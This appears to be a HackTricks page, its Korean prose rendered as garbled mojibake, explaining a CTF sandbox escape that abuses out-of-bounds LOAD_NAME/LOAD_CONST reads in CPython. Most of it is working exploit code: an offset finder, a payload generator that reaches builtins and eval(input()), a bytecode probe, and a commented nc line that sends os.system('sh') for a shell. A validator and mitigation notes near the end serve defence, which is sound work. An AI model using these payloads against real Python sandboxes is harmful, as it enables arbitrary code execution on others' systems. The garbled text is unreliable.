LOAD_NAME / LOAD_CONST opcode OOB Read
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ์ ๋ณด๋ ์ด ๊ธ์์ ๊ฐ์ ธ์์ต๋๋ค.
TL;DR
LOAD_NAME / LOAD_CONST opcode์ OOB read ๊ธฐ๋ฅ์ ์ฌ์ฉํ์ฌ ๋ฉ๋ชจ๋ฆฌ์์ ์ผ๋ถ ์ฌ๋ณผ์ ๊ฐ์ ธ์ฌ ์ ์์ต๋๋ค. ์ด๋ (a, b, c, ... ์๋ฐฑ ๊ฐ์ ์ฌ๋ณผ ..., __getattribute__) if [] else [].__getattribute__(...)์ ๊ฐ์ ํธ๋ฆญ์ ์ฌ์ฉํ์ฌ ์ํ๋ ์ฌ๋ณผ(์: ํจ์ ์ด๋ฆ)์ ๊ฐ์ ธ์ค๋ ๊ฒ์ ์๋ฏธํฉ๋๋ค.
๊ทธ๋ฐ ๋ค์ ๋น์ ์ ์ต์คํ๋ก์์ ์์ฑํ์ธ์.
Overview
์์ค ์ฝ๋๋ ๋งค์ฐ ์งง๊ณ , ๋จ 4์ค๋ง ํฌํจ๋์ด ์์ต๋๋ค!
source = input('>>> ')
if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
code = compile(source, 'โ
', 'eval').replace(co_consts=(), co_names=())
print(eval(code, {'__builtins__': {}}))1234
์์์ Python ์ฝ๋๋ฅผ ์
๋ ฅํ ์ ์์ผ๋ฉฐ, ์ด๋ Python ์ฝ๋ ๊ฐ์ฒด๋ก ์ปดํ์ผ๋ฉ๋๋ค. ๊ทธ๋ฌ๋ ํด๋น ์ฝ๋ ๊ฐ์ฒด์ co_consts์ co_names๋ ๊ทธ ์ฝ๋ ๊ฐ์ฒด๋ฅผ evalํ๊ธฐ ์ ์ ๋น ํํ๋ก ๋์ฒด๋ฉ๋๋ค.
๋ฐ๋ผ์ ์ด ๋ฐฉ์์ผ๋ก ๋ชจ๋ ํํ์์ด const(์: ์ซ์, ๋ฌธ์์ด ๋ฑ) ๋๋ ์ด๋ฆ(์: ๋ณ์, ํจ์)์ ํฌํจํ๋ฉด ๊ฒฐ๊ตญ ์ธ๊ทธ๋ฉํ ์ด์ ์ค๋ฅ๋ฅผ ์ผ์ผํฌ ์ ์์ต๋๋ค.
Out of Bound Read
์ธ๊ทธ๋ฉํ ์ด์ ์ค๋ฅ๋ ์ด๋ป๊ฒ ๋ฐ์ํ๋์?
๊ฐ๋จํ ์๋ก ์์ํด ๋ณด๊ฒ ์ต๋๋ค. [a, b, c]๋ ๋ค์ ๋ฐ์ดํธ์ฝ๋๋ก ์ปดํ์ผ๋ ์ ์์ต๋๋ค.
1 0 LOAD_NAME 0 (a)
2 LOAD_NAME 1 (b)
4 LOAD_NAME 2 (c)
6 BUILD_LIST 3
8 RETURN_VALUE12345
ํ์ง๋ง co_names๊ฐ ๋น ํํ์ด ๋๋ค๋ฉด ์ด๋ป๊ฒ ๋ ๊น์? LOAD_NAME 2 opcode๋ ์ฌ์ ํ ์คํ๋๋ฉฐ, ์๋ ์ฝ์ด์ผ ํ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์์์ ๊ฐ์ ์ฝ์ผ๋ ค๊ณ ์๋ํฉ๋๋ค. ๋ค, ์ด๊ฒ์ ๊ฒฝ๊ณ ์ด๊ณผ ์ฝ๊ธฐ โ๊ธฐ๋ฅโ์
๋๋ค.
ํด๊ฒฐ์ฑ
์ ํต์ฌ ๊ฐ๋
์ ๊ฐ๋จํฉ๋๋ค. CPython์ ์ผ๋ถ opcode, ์๋ฅผ ๋ค์ด LOAD_NAME๊ณผ LOAD_CONST๋ OOB ์ฝ๊ธฐ์ ์ทจ์ฝํฉ๋๋ค(?).
์ด๋ค์ consts ๋๋ names ํํ์์ oparg ์ธ๋ฑ์ค์ ๊ฐ์ฒด๋ฅผ ๊ฒ์ํฉ๋๋ค(๊ทธ๊ฒ์ด co_consts์ co_names๊ฐ ๋ด๋ถ์ ์ผ๋ก ๋ช
๋ช
๋ ๋ฐฉ์์
๋๋ค). CPython์ด LOAD_CONST opcode๋ฅผ ์ฒ๋ฆฌํ ๋ ์ด๋ค ์ผ์ ํ๋์ง ๋ณด๊ธฐ ์ํด LOAD_CONST์ ๋ํ ๋ค์์ ์งง์ ์ค๋ํซ์ ์ฐธ์กฐํ ์ ์์ต๋๋ค.
case TARGET(LOAD_CONST): {
PREDICTED(LOAD_CONST);
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}1234567
์ด ๋ฐฉ๋ฒ์ผ๋ก ์ฐ๋ฆฌ๋ OOB ๊ธฐ๋ฅ์ ์ฌ์ฉํ์ฌ ์์์ ๋ฉ๋ชจ๋ฆฌ ์คํ์
์์ โ์ด๋ฆโ์ ๊ฐ์ ธ์ฌ ์ ์์ต๋๋ค. ์ด๋ค ์ด๋ฆ์ด ์๋์ง์ ๊ทธ ์คํ์
์ด ๋ฌด์์ธ์ง ํ์ธํ๋ ค๋ฉด LOAD_NAME 0, LOAD_NAME 1 โฆ LOAD_NAME 99 โฆ๋ฅผ ๊ณ์ ์๋ํด ๋ณด์ธ์. oparg > 700์์ ๋ฌด์ธ๊ฐ๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค. ๋ฌผ๋ก gdb๋ฅผ ์ฌ์ฉํ์ฌ ๋ฉ๋ชจ๋ฆฌ ๋ ์ด์์์ ์ดํด๋ณผ ์๋ ์์ง๋ง, ๊ทธ๋ ๊ฒ ํ๋ ๊ฒ์ด ๋ ์ฌ์ธ ๊ฒ ๊ฐ์ง๋ ์์ต๋๋ค.
Exploit ์์ฑํ๊ธฐ
์ ์ฉํ ์ด๋ฆ/const์ ์คํ์
์ ๊ฐ์ ธ์จ ํ, ๊ทธ ์คํ์
์์ ์ด๋ฆ/const๋ฅผ ์ด๋ป๊ฒ ๊ฐ์ ธ์์ ์ฌ์ฉํ ์ ์์๊น์? ๋ค์์ ๋น์ ์ ์ํ ํธ๋ฆญ์
๋๋ค:
์คํ์
5(LOAD_NAME 5)์์ __getattribute__ ์ด๋ฆ์ ๊ฐ์ ธ์ฌ ์ ์๋ค๊ณ ๊ฐ์ ํด ๋ณด๊ฒ ์ต๋๋ค(co_names=()). ๊ทธ๋ฌ๋ฉด ๋ค์ ์์
์ ์ํํ์ธ์:
[a,b,c,d,e,__getattribute__] if [] else [
[].__getattribute__
# you can get the __getattribute__ method of list object now!
]1234
__getattribute__๋ผ๊ณ ์ด๋ฆ์ ๋ถ์ผ ํ์๋ ์์ผ๋ฉฐ, ๋ ์งง๊ฑฐ๋ ์ด์ํ ์ด๋ฆ์ผ๋ก ์ง์ ํ ์ ์์ต๋๋ค.
๊ทธ ์ด์ ๋ ๋ฐ์ดํธ์ฝ๋๋ฅผ ๋ณด๊ธฐ๋ง ํด๋ ์ดํดํ ์ ์์ต๋๋ค:
0 BUILD_LIST 0
2 POP_JUMP_IF_FALSE 20
>> 4 LOAD_NAME 0 (a)
>> 6 LOAD_NAME 1 (b)
>> 8 LOAD_NAME 2 (c)
>> 10 LOAD_NAME 3 (d)
>> 12 LOAD_NAME 4 (e)
>> 14 LOAD_NAME 5 (__getattribute__)
16 BUILD_LIST 6
18 RETURN_VALUE
20 BUILD_LIST 0
>> 22 LOAD_ATTR 5 (__getattribute__)
24 BUILD_LIST 1
26 RETURN_VALUE1234567891011121314
LOAD_ATTR๋ co_names์์ ์ด๋ฆ์ ๊ฒ์ํ๋ค๋ ์ ์ ์ ์ํ์ธ์. Python์ ์ด๋ฆ์ด ๋์ผํ ๊ฒฝ์ฐ ๋์ผํ ์คํ์
์์ ์ด๋ฆ์ ๋ก๋ํ๋ฏ๋ก ๋ ๋ฒ์งธ __getattribute__๋ offset=5์์ ๋ก๋๋ฉ๋๋ค. ์ด ๊ธฐ๋ฅ์ ์ฌ์ฉํ๋ฉด ์ด๋ฆ์ด ๋ฉ๋ชจ๋ฆฌ ๊ทผ์ฒ์ ์์ ๋ ์์์ ์ด๋ฆ์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
์ซ์๋ฅผ ์์ฑํ๋ ๊ฒ์ ๊ฐ๋จํด์ผ ํฉ๋๋ค:
- 0: not [[]]
- 1: not []
- 2: (not []) + (not [])
- โฆ
Exploit Script
๊ธธ์ด ์ ํ ๋๋ฌธ์ consts๋ฅผ ์ฌ์ฉํ์ง ์์์ต๋๋ค.
๋จผ์ ์ด๋ฆ์ ์คํ์ ์ ์ฐพ๊ธฐ ์ํ ์คํฌ๋ฆฝํธ์ ๋๋ค.
from types import CodeType
from opcode import opmap
from sys import argv
class MockBuiltins(dict):
def __getitem__(self, k):
if type(k) == str:
return k
if __name__ == '__main__':
n = int(argv[1])
code = [
*([opmap['EXTENDED_ARG'], n // 256]
if n // 256 != 0 else []),
opmap['LOAD_NAME'], n % 256,
opmap['RETURN_VALUE'], 0
]
c = CodeType(
0, 0, 0, 0, 0, 0,
bytes(code),
(), (), (), '<sandbox>', '<eval>', 0, b'', ()
)
ret = eval(c, {'__builtins__': MockBuiltins()})
if ret:
print(f'{n}: {ret}')
# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
๋ค์์ ์ค์ Python ์ต์คํ๋ก์์ ์์ฑํ๊ธฐ ์ํ ๊ฒ์ ๋๋ค.
import sys
import unicodedata
class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'
# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'
_ = Generator()
names = []
chr_code = 0
for x in range(4700):
while True:
chr_code += 1
char = unicodedata.normalize('NFKC', chr(chr_code))
if char.isidentifier() and char not in names:
names.append(char)
break
offsets = {
"__delitem__": 2800,
"__getattribute__": 2850,
'__dir__': 4693,
'__repr__': 2128,
}
variables = ('keys', 'keys2', 'None_', 'NoneType',
'm_repr', 'globals', 'builtins',)
for name, offset in offsets.items():
names[offset] = name
for i, var in enumerate(variables):
assert var not in offsets
names[792 + i] = var
source = f'''[
({",".join(names)}) if [] else [],
None_ := [[]].__delitem__({_(0)}),
keys := None_.__dir__(),
NoneType := None_.__getattribute__({_.__class__}),
keys2 := NoneType.__dir__(NoneType),
get := NoneType.__getattribute__,
m_repr := get(
get(get([],{_.__class__}),{_.__base__}),
{_.__subclasses__}
)()[-{_(2)}].__repr__,
globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
builtins := globals[[*globals][{_(7)}]],
builtins[[*builtins][{_(19)}]](
builtins[[*builtins][{_(28)}]](), builtins
)
]'''.strip().replace('\n', '').replace(' ', '')
print(f"{len(source) = }", file=sys.stderr)
print(source)
# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
๊ธฐ๋ณธ์ ์ผ๋ก __dir__ ๋ฉ์๋์์ ๊ฐ์ ธ์จ ๋ฌธ์์ด์ ๋ํด ๋ค์๊ณผ ๊ฐ์ ์์
์ ์ํํฉ๋๋ค:
getattr = (None).__getattribute__('__class__').__getattribute__
builtins = getattr(
getattr(
getattr(
[].__getattribute__('__class__'),
'__base__'),
'__subclasses__'
)()[-2],
'__repr__').__getattribute__('__globals__')['builtins']
builtins['eval'](builtins['input']())
๋ฒ์ ๋ ธํธ ๋ฐ ์ํฅ์ ๋ฐ๋ opcode (Python 3.11โ3.13)
- CPython ๋ฐ์ดํธ์ฝ๋ opcode๋ ์ฌ์ ํ ์ ์ ํผ์ฐ์ฐ์๋ก
co_consts๋ฐco_namesํํ์ ์ธ๋ฑ์ฑํฉ๋๋ค. ๊ณต๊ฒฉ์๊ฐ ์ด๋ฌํ ํํ์ ๋น์๋๊ฑฐ๋(๋๋ ๋ฐ์ดํธ์ฝ๋์์ ์ฌ์ฉ๋๋ ์ต๋ ์ธ๋ฑ์ค๋ณด๋ค ์๊ฒ) ๊ฐ์ ๋ก ๋ง๋ค ์ ์๋ค๋ฉด, ์ธํฐํ๋ฆฌํฐ๋ ํด๋น ์ธ๋ฑ์ค์ ๋ํด ๊ฒฝ๊ณ ๋ฐ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ฝ๊ฒ ๋์ด ์ธ๊ทผ ๋ฉ๋ชจ๋ฆฌ์์ ์์์ PyObject ํฌ์ธํฐ๋ฅผ ๋ฐํํฉ๋๋ค. ๊ด๋ จ opcode์๋ ์ต์ํ ๋ค์์ด ํฌํจ๋ฉ๋๋ค: LOAD_CONST constiโco_consts[consti]๋ฅผ ์ฝ์ต๋๋ค.LOAD_NAME namei,STORE_NAME,DELETE_NAME,LOAD_GLOBAL,STORE_GLOBAL,IMPORT_NAME,IMPORT_FROM,LOAD_ATTR,STORE_ATTRโco_names[...]์์ ์ด๋ฆ์ ์ฝ์ต๋๋ค(3.11+์์๋LOAD_ATTR/LOAD_GLOBAL์ด ๋ฎ์ ๋นํธ์ ํ๋๊ทธ ๋นํธ๋ฅผ ์ ์ฅํ๋ฏ๋ก ์ค์ ์ธ๋ฑ์ค๋namei >> 1์ ๋๋ค). ๋ฒ์ ๋ณ ์ ํํ ์๋ฏธ๋ ๋์ค์ด์ ๋ธ๋ฌ ๋ฌธ์๋ฅผ ์ฐธ์กฐํ์ญ์์ค. [Python dis docs].- Python 3.11+์์๋ ๋ช
๋ น์ด ์ฌ์ด์ ์จ๊ฒจ์ง
CACHEํญ๋ชฉ์ ์ถ๊ฐํ๋ ์ ์ํ/์ธ๋ผ์ธ ์บ์๊ฐ ๋์ ๋์์ต๋๋ค. ์ด๋ OOB ์์๊ฐ์ ๋ณ๊ฒฝํ์ง ์์ผ๋ฉฐ, ๋ฐ์ดํธ์ฝ๋๋ฅผ ์๋์ผ๋ก ์์ฑํ ๊ฒฝ์ฐ ์ด๋ฌํ ์บ์ ํญ๋ชฉ์co_code๋ฅผ ๊ตฌ์ถํ ๋ ๊ณ ๋ คํด์ผ ํจ์ ์๋ฏธํฉ๋๋ค.
์ค์ฉ์ ์ธ ์๋ฏธ: ์ด ํ์ด์ง์ ๊ธฐ์ ์ ์ฝ๋ ๊ฐ์ฒด๋ฅผ ์ ์ดํ ์ ์์ ๋(CODEType.replace(โฆ)๋ฅผ ํตํด) CPython 3.11, 3.12 ๋ฐ 3.13์์ ๊ณ์ ์๋ํฉ๋๋ค. co_consts/co_names๋ฅผ ์ถ์ํ ์ ์์ต๋๋ค.
์ ์ฉํ OOB ์ธ๋ฑ์ค๋ฅผ ์ํ ๋น ๋ฅธ ์ค์บ๋ (3.11+/3.12+ ํธํ)
๊ณ ๊ธ ์์ค๊ฐ ์๋ ๋ฐ์ดํธ์ฝ๋์์ ์ง์ ํฅ๋ฏธ๋ก์ด ๊ฐ์ฒด๋ฅผ ํ์ํ๋ ๊ฒ์ ์ ํธํ๋ ๊ฒฝ์ฐ, ์ต์ํ์ ์ฝ๋ ๊ฐ์ฒด๋ฅผ ์์ฑํ๊ณ ์ธ๋ฑ์ค๋ฅผ ๋ฌด์์๋ก ์๋ํ ์ ์์ต๋๋ค. ์๋ ๋์ฐ๋ฏธ๋ ํ์ํ ๋ ์๋์ผ๋ก ์ธ๋ผ์ธ ์บ์๋ฅผ ์ฝ์ ํฉ๋๋ค.
import dis, types
def assemble(ops):
# ops: list of (opname, arg) pairs
cache = bytes([dis.opmap.get("CACHE", 0), 0])
out = bytearray()
for op, arg in ops:
opc = dis.opmap[op]
out += bytes([opc, arg])
# Python >=3.11 inserts per-opcode inline cache entries
ncache = getattr(dis, "_inline_cache_entries", {}).get(opc, 0)
out += cache * ncache
return bytes(out)
# Reuse an existing function's code layout to simplify CodeType construction
base = (lambda: None).__code__
# Example: probe co_consts[i] with LOAD_CONST i and return it
# co_consts/co_names are intentionally empty so LOAD_* goes OOB
def probe_const(i):
code = assemble([
("RESUME", 0), # 3.11+
("LOAD_CONST", i),
("RETURN_VALUE", 0),
])
c = base.replace(co_code=code, co_consts=(), co_names=())
try:
return eval(c)
except Exception:
return None
for idx in range(0, 300):
obj = probe_const(idx)
if obj is not None:
print(idx, type(obj), repr(obj)[:80])
Notes
- ์ด๋ฆ์ ์กฐ์ฌํ๋ ค๋ฉด
LOAD_CONST๋ฅผLOAD_NAME/LOAD_GLOBAL/LOAD_ATTR๋ก ๋ฐ๊พธ๊ณ ์คํ ์ฌ์ฉ์ ์ ์ ํ ์กฐ์ ํ์ธ์. - ํ์ํ๋ค๋ฉด
EXTENDED_ARG๋๋ ์ฌ๋ฌ ๋ฐ์ดํธ์arg๋ฅผ ์ฌ์ฉํ์ฌ ์ธ๋ฑ์ค >255์ ๋๋ฌํ์ธ์. ์์ ๊ฐ์ดdis๋ก ๋น๋ํ ๋๋ ๋ฎ์ ๋ฐ์ดํธ๋ง ์ ์ดํ ์ ์์ผ๋ฉฐ, ๋ ํฐ ์ธ๋ฑ์ค์ ๊ฒฝ์ฐ ์์ ๋ฐ์ดํธ๋ฅผ ์ง์ ๊ตฌ์ฑํ๊ฑฐ๋ ์ฌ๋ฌ ๋ก๋์ ๊ฑธ์ณ ๊ณต๊ฒฉ์ ๋ถํ ํ์ธ์.
์ต์ ๋ฐ์ดํธ์ฝ๋ ์ ์ฉ RCE ํจํด (co_consts OOB โ builtins โ eval/input)
co_consts ์ธ๋ฑ์ค๊ฐ builtins ๋ชจ๋๋ก ํด๊ฒฐ๋๋ ๊ฒ์ ์๋ณํ ํ, ์คํ์ ์กฐ์ํ์ฌ eval(input())์ co_names ์์ด ์ฌ๊ตฌ์ฑํ ์ ์์ต๋๋ค:
# Build co_code that:
# 1) LOAD_CONST <builtins_idx> โ push builtins module
# 2) Use stack shuffles and BUILD_TUPLE/UNPACK_EX to peel strings like 'input'/'eval'
# out of objects living nearby in memory (e.g., from method tables),
# 3) BINARY_SUBSCR to do builtins["input"] / builtins["eval"], CALL each, and RETURN_VALUE
# This pattern is the same idea as the high-level exploit above, but expressed in raw bytecode.
์ด ์ ๊ทผ ๋ฐฉ์์ co_code์ ๋ํ ์ง์ ์ ์ธ ์ ์ด๋ฅผ ์ ๊ณตํ๋ฉด์ co_consts=() ๋ฐ co_names=()๋ฅผ ๊ฐ์ ํ๋ ์ฑ๋ฆฐ์ง์์ ์ ์ฉํฉ๋๋ค(์: BCTF 2024 โawpcodeโ). ์ด๋ ์์ค ์์ค์ ํธ๋ฆญ์ ํผํ๊ณ ๋ฐ์ดํธ์ฝ๋ ์คํ ์ฐ์ฐ ๋ฐ ํํ ๋น๋๋ฅผ ํ์ฉํ์ฌ ํ์ด๋ก๋ ํฌ๊ธฐ๋ฅผ ์๊ฒ ์ ์งํฉ๋๋ค.
์๋๋ฐ์ค๋ฅผ ์ํ ๋ฐฉ์ด์ ๊ฒ์ฌ ๋ฐ ์ํ ์กฐ์น
์ ๋ขฐํ ์ ์๋ ์ฝ๋๋ฅผ ์ปดํ์ผ/ํ๊ฐํ๊ฑฐ๋ ์ฝ๋ ๊ฐ์ฒด๋ฅผ ์กฐ์ํ๋ Python โ์๋๋ฐ์คโ๋ฅผ ์์ฑํ๋ ๊ฒฝ์ฐ, ๋ฐ์ดํธ์ฝ๋์์ ์ฌ์ฉ๋๋ ํํ ์ธ๋ฑ์ค์ ๊ฒฝ๊ณ๋ฅผ ๊ฒ์ฌํ๋ ๋ฐ CPython์ ์์กดํ์ง ๋ง์ญ์์ค. ๋์ , ์คํํ๊ธฐ ์ ์ ์ฝ๋ ๊ฐ์ฒด๋ฅผ ์ง์ ๊ฒ์ฆํ์ญ์์ค.
์ค์ฉ์ ์ธ ๊ฒ์ฆ๊ธฐ (co_consts/co_names์ ๋ํ OOB ์ ๊ทผ ๊ฑฐ๋ถ)
import dis
def max_name_index(code):
max_idx = -1
for ins in dis.get_instructions(code):
if ins.opname in {"LOAD_NAME","STORE_NAME","DELETE_NAME","IMPORT_NAME",
"IMPORT_FROM","STORE_ATTR","LOAD_ATTR","LOAD_GLOBAL","DELETE_GLOBAL"}:
namei = ins.arg or 0
# 3.11+: LOAD_ATTR/LOAD_GLOBAL encode flags in the low bit
if ins.opname in {"LOAD_ATTR","LOAD_GLOBAL"}:
namei >>= 1
max_idx = max(max_idx, namei)
return max_idx
def max_const_index(code):
return max([ins.arg for ins in dis.get_instructions(code)
if ins.opname == "LOAD_CONST"] + [-1])
def validate_code_object(code: type((lambda:0).__code__)):
if max_const_index(code) >= len(code.co_consts):
raise ValueError("Bytecode refers to const index beyond co_consts length")
if max_name_index(code) >= len(code.co_names):
raise ValueError("Bytecode refers to name index beyond co_names length")
# Example use in a sandbox:
# src = input(); c = compile(src, '<sandbox>', 'exec')
# c = c.replace(co_consts=(), co_names=()) # if you really need this, validate first
# validate_code_object(c)
# eval(c, {'__builtins__': {}})
์ถ๊ฐ์ ์ธ ์ํ ์์ด๋์ด
- ์ ๋ขฐํ ์ ์๋ ์
๋ ฅ์ ๋ํด ์์์
CodeType.replace(...)๋ฅผ ํ์ฉํ์ง ์๊ฑฐ๋, ๊ฒฐ๊ณผ ์ฝ๋ ๊ฐ์ฒด์ ๋ํ ์๊ฒฉํ ๊ตฌ์กฐ ๊ฒ์ฌ๋ฅผ ์ถ๊ฐํ์ญ์์ค. - CPython ์๋ฏธ์ ์์กดํ๋ ๋์ OS ์์ค์ ์๋๋ฐ์ฑ(์: seccomp, ์์ ๊ฐ์ฒด, ์ปจํ ์ด๋)์ผ๋ก ์ ๋ขฐํ ์ ์๋ ์ฝ๋๋ฅผ ๋ณ๋์ ํ๋ก์ธ์ค์์ ์คํํ๋ ๊ฒ์ ๊ณ ๋ คํ์ญ์์ค.
์ฐธ์กฐ
- Splitline์ HITCON CTF 2022 ์์ฑ๋ฌผ โV O I Dโ (์ด ๊ธฐ์ ์ ๊ธฐ์ ๋ฐ ๊ณ ์์ค ์ต์คํ๋ก์ ์ฒด์ธ): https://blog.splitline.tw/hitcon-ctf-2022/
- Python ๋์ค์ด์
๋ธ๋ฌ ๋ฌธ์ (LOAD_CONST/LOAD_NAME/etc.์ ๋ํ ์ธ๋ฑ์ค ์๋ฏธ ๋ฐ 3.11+
LOAD_ATTR/LOAD_GLOBAL์ ๋นํธ ํ๋๊ทธ): https://docs.python.org/3.13/library/dis.html
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


